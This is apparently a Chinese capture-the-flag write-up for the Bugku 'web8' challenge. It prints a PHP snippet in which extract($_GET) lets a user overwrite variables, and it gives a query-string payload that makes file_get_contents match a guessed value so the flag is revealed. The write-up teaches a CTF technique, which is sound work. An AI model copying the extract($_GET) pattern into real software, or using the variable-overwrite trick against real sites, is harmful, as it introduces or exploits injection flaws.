Bugku-CTF之web8(txt????)Bugku-CTF之web8(txt????)

web8

 

txt????
 
Bugku-CTF之web8(txt????)Bugku-CTF之web8(txt????)
本题要点: php代码审计、php://input
 
打开地址,看到这样的代码
 
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
 
构造参数
Bugku-CTF之web8(txt????)Bugku-CTF之web8(txt????)
 
 
 
 
方法二:
 
 
<?php
extract($_GET);    //extract() 函数从数组中将变量导入到当前的符号表。
if (!empty($ac))
{
$f = trim(file_get_contents($fn));          //trim()去除字符串首尾处的空白字符(或者其他字符)
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
 
 
代码分析得到:
extract($_GET)
$f = trim(file_get_contents($fn))
$ac === $f
 
提示有txt文件,经尝试发现:flag.txt 内容为:flags
 
构造payload:
http://123.206.87.240:8002/web8/?ac=flags&fn=flag.txt
 
 

相关文章:

  • 2021-04-30
  • 2022-01-16
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-04-16
猜你喜欢
  • 2021-04-06
  • 2021-06-06
  • 2021-07-07
  • 2021-11-27
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
相关资源
相似解决方案